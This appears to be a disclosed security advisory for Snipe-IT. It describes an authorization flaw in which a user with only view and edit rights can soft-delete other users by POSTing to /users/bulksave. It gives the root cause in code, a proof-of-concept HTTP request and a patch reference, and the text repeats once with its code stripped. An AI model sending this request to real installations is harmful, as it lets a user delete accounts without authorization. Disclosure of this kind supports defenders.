Impact
An authenticated non-admin user with users.view and users.edit, but without users.delete, can directly POST to /users/bulksave and soft-delete another non-admin user. The UI and confirmation route require users.delete, but the destructive sink only authorizes update.
Attacker Model
Authenticated non-admin user with:
{"users.view":"1","users.edit":"1"}The attacker does not have users.delete, admin, or superuser.
Affected Component
Root Cause
The UI only exposes bulk delete to users with delete permission:
@can('delete', \App\Models\User::class)
<option value="delete">...</option>
<option value="merge">...</option>
@endcanThe confirmation path also checks delete:
} elseif ($request->input('bulk_actions') == 'delete') {
$this->authorize('delete', User::class);However, the destructive route is registered separately:
Route::post('bulksave', [Users\BulkUsersController::class, 'destroy'])
->name('users/bulksave');and destroy() authorizes only update:
public function destroy(Request $request)
{
$this->authorize('update', User::class);When delete_user=1 is present, the method reaches:
Proof of Concept
-
Create a non-admin attacker account with users.view and users.edit, but not users.delete.
-
Create a harmless non-admin target user.
-
Log in as the attacker and obtain a valid CSRF token.
-
Send:
POST /users/bulksave HTTP/1.1
Host: <snipe-it-host>
Cookie: snipeit_session=<attacker-session>
Content-Type: application/x-www-form-urlencoded
_token=<csrf-token>
ids[]=<target-user-id>
delete_user=1
status_id=<valid-status-id>
Observed response:
HTTP/1.1 302 Found
Location: http://<snipe-it-host>/users
Patches
Patched in 374f426f0c
References
mamdouhmahfouz Reporter
Impact
An authenticated non-admin user with
users.viewandusers.edit, but withoutusers.delete, can directly POST to/users/bulksaveand soft-delete another non-admin user. The UI and confirmation route requireusers.delete, but the destructive sink only authorizesupdate.Attacker Model
Authenticated non-admin user with:
{"users.view":"1","users.edit":"1"}The attacker does not have
users.delete,admin, orsuperuser.Affected Component
routes/web/users.phpapp/Http/Controllers/Users/BulkUsersController.phpEndpoint:
POST /users/bulksaveRoot Cause
The UI only exposes bulk delete to users with
deletepermission:The confirmation path also checks
delete:However, the destructive route is registered separately:
and
destroy()authorizes onlyupdate:When
delete_user=1is present, the method reaches:Proof of Concept
Create a non-admin attacker account with
users.viewandusers.edit, but notusers.delete.Create a harmless non-admin target user.
Log in as the attacker and obtain a valid CSRF token.
Send:
Observed response:
Patches
Patched in 374f426f0c
References